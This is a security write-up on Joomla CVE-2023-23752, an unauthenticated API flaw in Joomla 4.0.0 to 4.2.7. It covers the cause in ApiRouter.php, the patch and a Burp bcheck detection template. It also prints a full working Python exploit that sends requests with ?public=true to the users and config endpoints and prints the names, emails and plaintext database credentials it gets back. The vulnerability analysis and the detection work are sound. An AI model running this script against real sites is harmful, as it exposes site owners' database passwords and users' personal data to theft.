Analysis of Joomla CVE-2023-23752
The Proof of Concept (PoC) for CVE-2023-23752 is available here.
Overview
CVE-2023-23752 represents a vulnerability in Joomla’s microservice API service, disclosed on February 13, 2023. Discovered by Zewei Zhang from NSFOCUS TIANJI Lab, the vulnerability has been assigned a base score of 5.3 (Medium). It allows unauthorized disclosure of plaintext passwords and Personally Identifiable Information (PII) of users. This article provides an analysis of the vulnerability.
The Vulnerability
CVE-2023-23752 is characterized by an improper access control flaw that permits unauthorized access to webservice endpoints without authentication. Specifically, when a client sends a request to certain API endpoints with the query parameter ?public=true
in the URL, Joomla returns all configuration files without requiring authentication.
This vulnerability stems from Joomla’s handling of the public
query parameter in the URL. Without checking the user’s session, Joomla processes requests with the public
parameter present. This oversight can be observed in the ApiRouter.php
file, particularly at line 58, which contains the following comment:
@param bool $publicGets Allow the public to make GET requests.
By default, this parameter is set to false. The function ParseApiRoute
in the ApiRouter.php
file fails to validate the public
query parameter, indicating a significant security oversight.
Understanding this flaw, it becomes clear that any request including ?public=true
in the URL will return the requested contents if publicGets
is utilized. This realization opens up avenues to access API endpoints containing sensitive information, such as:
- Retrieving user information (PII) via
api/index.php/v1/users?public=true
- Extracting database credentials in plaintext through
api/index.php/v1/config/application?public=true
Exploitation
Exploiting this vulnerability is straightforward: one can directly request the vulnerable API endpoint. The following Python script facilitates this process:
import argparse
import requests
import json
from termcolor import colored
# __author__ = sysevil
# Date: 2023-03-24
# Version: 4.0.0 < 4.2.8 (it means from 4.0.0 up to 4.2.7)
# Tested on: Joomla! Version 4.2.7
# CVE : CVE-2023-23752
# Vendor Homepage: https://www.joomla.org/
# Software Link: https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.tar.gz?format=gz
########## libs ###############
# $ pip install requests termcolor
# $ python3 joomla_disclosure.py http://example.com
# $ python3 joomla_disclosure.py http://example.com --debug --no-color
##############################
def fetch_users(root_url):
vuln_url = f"{root_url}/api/index.php/v1/users?public=true"
response = requests.get(vuln_url)
return response.text
def parse_users(root_url):
data_json = fetch_users(root_url)
data = json.loads(data_json)['data']
users = []
for user in data:
if user['type'] == 'users':
id = user['attributes']['id']
name = user['attributes']['name']
username = user['attributes']['username']
email = user['attributes']['email']
groups = user['attributes']['group_names']
users.append({'id': id, 'name': name, 'username': username, 'email': email, 'groups': groups})
return users
def display_users(root_url):
users = parse_users(root_url)
print(colored('Users', 'red', attrs=['bold']))
for u in users:
print(f"[{u['id']}] {u['name']} ({colored(u['username'], 'yellow')}) - {u['email']} - {u['groups']}")
def fetch_config(root_url):
vuln_url = f"{root_url}/api/index.php/v1/config/application?public=true"
response = requests.get(vuln_url)
return response.text
def parse_config(root_url):
data_json = fetch_config(root_url)
data = json.loads(data_json)['data']
config = {}
for entry in data:
if entry['type'] == 'application':
key = next(iter(entry['attributes']))
config[key] = entry['attributes'][key]
return config
def display_config(root_url):
c = parse_config(root_url)
print(colored('Site info', 'red', attrs=['bold']))
print(f"Site name: {c.get('sitename')}")
print(f"Editor: {c.get('editor')}")
print(f"Captcha: {c.get('captcha')}")
print(f"Access: {c.get('access')}")
print(f"Debug status: {c.get('debug')}")
print()
print(colored('Database info', 'red', attrs=['bold']))
print(f"DB type: {c.get('dbtype')}")
print(f"DB host: {c.get('host')}")
print(f"DB user: {colored(c.get('user'), 'yellow', attrs=['bold'])}")
print(f"DB password: {colored(c.get('password'), 'yellow', attrs=['bold'])}")
print(f"DB name: {c.get('db')}")
print(f"DB prefix: {c.get('dbprefix')}")
print(f"DB encryption: {c.get('dbencryption')}")
def main():
parser = argparse.ArgumentParser(description='Joomla! < 4.2.8 - Unauthenticated information disclosure')
parser.add_argument('url', help='Root URL (base path) including HTTP scheme, port, and root folder')
parser.add_argument('--debug', action='store_true', help='Display arguments')
parser.add_argument('--no-color', action='store_true', help='Disable colorized output')
args = parser.parse_args()
if args.no_color:
# Disable colorized output
global colored
colored = lambda text, *args, **kwargs: text
if args.debug:
print(args)
display_users(args.url)
print()
display_config(args.url)
if __name__ == '__main__':
main()
Joomla’s Response
The resolution to this vulnerability was straightforward: the developers removed the ability to use the public
query parameter in URLs for API/webservice endpoint requests.
- Test the patch
Vulnerability Check Template
The following bcheck template was created to facilitate the identification of this vulnerability:
metadata:
language: v1-beta
name: "CVE-2023-23752 Unauthenticated information disclosure"
description: "Check for CVE-2023-23752"
author: "sysevil"
tags: "CVE-2023-23752","joomla","unauth","information","disclosure"
define:
base_path = "/"
potential_path = "/api/index.php/v1/config/application?public=true"
given host then
send request called check1:
method: "GET"
path: {base_path}
if "joomla-" in {check1.response.body} then
send request called check2:
method: "GET"
path: {potential_path}
if {check2.response.status_code} is "200" and "\"type\":\"application\"" and "\"password\":" in {check2.response.body} then
report issue:
severity: high
confidence: certain
detail: "Title: Joomla! < 4.2.8 - Unauthenticated information disclosure"
remediation: "Upgrade to the latest version of Joomla or upgrade to version > 4.2.7"
end if
end if
References
- Joomla Security Centre
- Joomla Forum Discussion
- Joomla 4.2.8 Security Release Announcement
- Joomla Developer Security Centre